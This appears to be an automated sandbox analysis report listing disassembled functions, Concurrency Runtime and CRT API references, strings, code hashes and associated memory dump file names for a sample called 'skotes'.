Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B210F

Strings

e, xrefs: 007B20D9

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 3af69f29a8680314772264f7bb0171cb5d4e9b4d86c0bb6a6bab60fab8c71920
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 6C118231502109EBDB15DE6DC8857EB73A4EF02364B24815ABC069F103DA79D902CBA0

Function 0079D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0079D0A5

Strings

kernel32.dll, xrefs: 0079D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0079D03B
WakeAllConditionVariable, xrefs: 0079D069
SleepConditionVariableCS, xrefs: 0079D05D

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 74c5d0c747a0d1679895f97ea1f138573ee0058bf6dd37123fc624e9cbcc6f16
Instruction ID: b137dd033b7c1aae7e94306331ce95e9d2d61e3a3fd5c756b48950651d74e454
Opcode Fuzzy Hash: 74c5d0c747a0d1679895f97ea1f138573ee0058bf6dd37123fc624e9cbcc6f16
Instruction Fuzzy Hash: 240126A06C37116DFE3037797C00E5B259CCF46B4CF451512AA00E7280DEACDC028475

Function 007AE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 007AE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007AE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007AE9DC

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: e312e72a36c5cbb077dfb3a6e2e507bb6853612486d11454138c8d237347fc8b
Instruction ID: 94800c437ae10582ffc925c25216bdd7611d59c5fbadb842552253ccba5f73b1
Opcode Fuzzy Hash: e312e72a36c5cbb077dfb3a6e2e507bb6853612486d11454138c8d237347fc8b
Instruction Fuzzy Hash: 70414F75A01619EFCF09DF68C458A6DB7B6FF89310F048259E506A7390CB78BE01CB91

Function 007AD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 007AD344
ListArray.LIBCONCRT ref: 007AD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AD370
ListArray.LIBCONCRT ref: 007AD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007AD3B3

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: b31b10dd1a15dbef7a872cec5afb53286696effb98f8a4a3b9ae23e565b04e1f
Instruction ID: 23fc69a7fd9ee2c92f992d3a9f34637eb8194c2a1a8154befacf8bbc64e72bc7
Opcode Fuzzy Hash: b31b10dd1a15dbef7a872cec5afb53286696effb98f8a4a3b9ae23e565b04e1f
Instruction Fuzzy Hash: 0B31A135700210EFCB19DF54C884BADB7B5BFCA700F054299E8069B392CB78AD41CB92

Function 007A86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007A86EE

Part of subcall function 0079EAD0: _SpinWait.LIBCONCRT ref: 0079EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 007A8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A8734
List.LIBCMT ref: 007A87B7
List.LIBCMT ref: 007A87C6

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 5aff07e516b13610491ff6c44116c966f1a8b0392d79c0e05ad8c1c88347c508
Instruction ID: 3df44d37ead1bdf2baa7359c4928e4a6b84ebb7a3c1fd3041028cd3d8f811ff1
Opcode Fuzzy Hash: 5aff07e516b13610491ff6c44116c966f1a8b0392d79c0e05ad8c1c88347c508
Instruction Fuzzy Hash: 1B31A932D01255DFCF54EFA4D5856ECBBB1BF86308F28026AD4027B252DB39AD04CB96

Function 007B182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007B18EB

Strings

pContext, xrefs: 007B189C

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
